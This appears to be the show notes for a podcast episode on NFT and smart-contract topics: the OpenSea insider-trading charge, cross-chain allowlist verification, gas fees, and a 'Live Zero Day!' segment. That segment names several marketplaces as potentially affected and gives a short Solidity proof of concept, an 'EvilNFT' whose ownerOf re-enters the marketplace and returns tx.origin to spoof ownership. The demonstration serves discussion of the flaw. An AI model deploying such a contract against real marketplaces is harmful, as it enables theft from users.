2022-06-07-episode-27.md

posted	guid	title	subtitle	description	start-time	itunes-explicit	itunes-episode	itunes-episodeType	youtube-full	discussion	timeline	enclosure-url	enclosure-length	enclosure-type	itunes-duration	participants
true	B08380FC-F902-47CF-9EF7-4F10CDB64671	Evil ownerOf		We talk about OpenSea insider trading charge, facts, legal analysis, allow list to your (testnet) beta testers, beer of the day, make your own bridge (simple, insecure), drops with random timing, cross chain minting by centralizing, and Evil ownerOf.	2022-06-07T18:00:00-05:00	false	27	full	https://youtu.be/_RVWOU8dOM4	https://twitter.com/fulldecent/status/1534317390971998209	seconds title 67 OpenSea insider trading charge, facts seconds title 141 Legal analysis seconds title 402 Give allow list to your (testnet) beta testers seconds title 543 Beer of the day seconds title 552 Make your own bridge (simple, insecure) seconds title 711 Drops with random timing! seconds title 786 Cross chain minting by centralizing seconds title 905 Evil ownerOf	https://media.phor.net/csh/2022-06-07-episode-27.m4a	24674153	audio/x-m4a	1224

• OpenSea insider trading
  • https://www.justice.gov/usao-sdny/pr/former-employee-nft-marketplace-charged-first-ever-digital-asset-insider-trading-scheme
  • https://www.bloomberg.com/opinion/articles/2022-06-02/don-t-insider-trade-nfts#xj4y7vzkg
• @037 If you wanted to do an airdrop of coins to only a set of wallets that participated on another contract in a dev chain (example: Rinkeby), is there a way to do cross-chain verification using an arbitrary block height? (example: give 10 coins from Contact "A" in Mainnet if Wallet "A" interacted with Contract "B" on Rinkeby before block height "X"). This is to promote mass beta testing to hopefully catch bugs before live deploy.…
  • Option A – Bridge
    • Use Rinkeby to make a separate contract and use a bridge to send those tokens to the other chain.
  • Option B – “get hands dirty”
    • Rinkeby allowlist contract
      • Function isAllowlisted emits logs, not a view function, in other words ONE transaction results in MULTIPLE allow list validations
    • On Mainnet validate these logs
      • Validate multiple consecutive blocks, with difficulty, using parent block and difficulty, this only works with proof of work
      • Validate specific transaction using inclusion Merkle proof
      • Validate and the transaction receipt (see Yellow Paper BERLIN, page 6, transaction receipt data structure) to confirm the logs were emitted
      • Optional: add a time limit to this redeemability (using block.timestamp)
  • Option C – Centralize
    • Time public time limits / redeem periods / for accountability
    • After that happens, everybody can see it and run the tool, copy this: https://github.com/su-squares/update-script and https://github.com/miguelmota/merkletreejs-nft-whitelist
• Addressing gas fees
  • Bonding curves
  • Dutch auctions
• Live Zero Day!
  • Affected marketplaces are potentially 2018 smart contracts that allow selling any NFT, and have a balance of value (not just allowlisted ones)
    • OpenSea
    • Rarebits
    • Superrare
    • Niftygateway

// SPDX-License-Identifier: UNLICENED
pragma solidity 0.5.0;

interface NFT {
  function ownerOf(uint256) external view returns (address);
}

contract EvilNFT {
  Marketplace public marketplace;

  function setMarketplace(Marketplace marketplace_) external {
    marketplace = marketplace_;
  }

  function ownerOf(uint256) external returns (address) {
    marketplace.reprice();
    return address(tx.origin);
  }
}

contract Marketplace {
  uint256 public price = 0;

  function reprice() external {
    price++;
  }

  function doSomething(NFT nft, uint256 tokenID) external {
    // collect money from msg.sender
    require(nft.ownerOf(tokenID) == msg.sender);
    // check price
    // send money to DAO
  }
}

• Bankless got blocked on YouTube
  • CEO tweeted sorry!